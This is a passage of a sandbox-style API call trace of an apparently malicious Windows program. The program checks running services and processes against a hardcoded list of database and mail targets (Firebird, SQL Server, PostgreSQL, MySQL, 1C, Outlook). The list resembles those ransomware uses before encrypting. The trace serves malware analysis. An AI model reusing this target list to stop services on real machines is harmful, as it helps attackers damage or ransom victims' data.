(lpString="Appinfo") returned 7 [0048.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.239] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.240] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.240] lstrlenW (lpString="AudioSrv") returned 8 [0048.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.240] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.240] lstrlenW (lpString="BFE") returned 3 [0048.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.240] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.240] lstrlenW (lpString="CryptSvc") returned 8 [0048.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.240] lstrlenW (lpString="CscService") returned 10 [0048.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.240] lstrlenW (lpString="DcomLaunch") returned 10 [0048.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.241] lstrlenW (lpString="Dhcp") returned 4 [0048.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.241] lstrlenW (lpString="Dnscache") returned 8 [0048.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.241] lstrlenW (lpString="DPS") returned 3 [0048.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.241] lstrlenW (lpString="eventlog") returned 8 [0048.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.241] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.241] lstrlenW (lpString="EventSystem") returned 11 [0048.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.241] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.241] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.242] lstrlenW (lpString="gpsvc") returned 5 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.242] lstrlenW (lpString="iphlpsvc") returned 8 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.242] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.242] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.242] lstrlenW (lpString="LanmanServer") returned 12 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.242] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.242] lstrlenW (lpString="lmhosts") returned 7 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.242] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.242] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.242] lstrlenW (lpString="MMCSS") returned 5 [0048.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.243] lstrlenW (lpString="MpsSvc") returned 6 [0048.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.243] lstrlenW (lpString="Netman") returned 6 [0048.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.243] lstrlenW (lpString="netprofm") returned 8 [0048.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.243] lstrlenW (lpString="NlaSvc") returned 6 [0048.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.243] lstrlenW (lpString="nsi") returned 3 [0048.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.243] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.243] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.244] lstrlenW (lpString="PcaSvc") returned 6 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.244] lstrlenW (lpString="PlugPlay") returned 8 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.244] lstrlenW (lpString="Power") returned 5 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.244] lstrlenW (lpString="ProfSvc") returned 7 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.244] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.244] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.244] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.244] lstrlenW (lpString="RpcSs") returned 5 [0048.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.245] lstrlenW (lpString="SamSs") returned 5 [0048.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.245] lstrlenW (lpString="Schedule") returned 8 [0048.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.245] lstrlenW (lpString="SENS") returned 4 [0048.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.245] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.245] lstrlenW (lpString="Spooler") returned 7 [0048.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.246] lstrlenW (lpString="swprv") returned 5 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.246] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.246] lstrlenW (lpString="SysMain") returned 7 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.246] lstrlenW (lpString="Themes") returned 6 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.246] lstrlenW (lpString="TrkWks") returned 6 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.246] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.246] lstrlenW (lpString="UxSms") returned 5 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.246] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.246] lstrlenW (lpString="VSS") returned 3 [0048.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.246] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.247] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.247] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.247] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.247] lstrlenW (lpString="Winmgmt") returned 7 [0048.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.247] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.247] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0048.247] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0048.250] Process32FirstW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.250] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.253] lstrlenW (lpString="System") returned 6 [0048.253] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.253] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.254] lstrlenW (lpString="smss.exe") returned 8 [0048.254] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.254] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.255] lstrlenW (lpString="csrss.exe") returned 9 [0048.255] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.255] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.255] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.255] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.255] lstrlenW (lpString="wininit.exe") returned 11 [0048.255] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.255] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.256] lstrlenW (lpString="csrss.exe") returned 9 [0048.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.257] lstrlenW (lpString="winlogon.exe") returned 12 [0048.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.257] lstrlenW (lpString="services.exe") returned 12 [0048.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.258] lstrlenW (lpString="lsass.exe") returned 9 [0048.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: 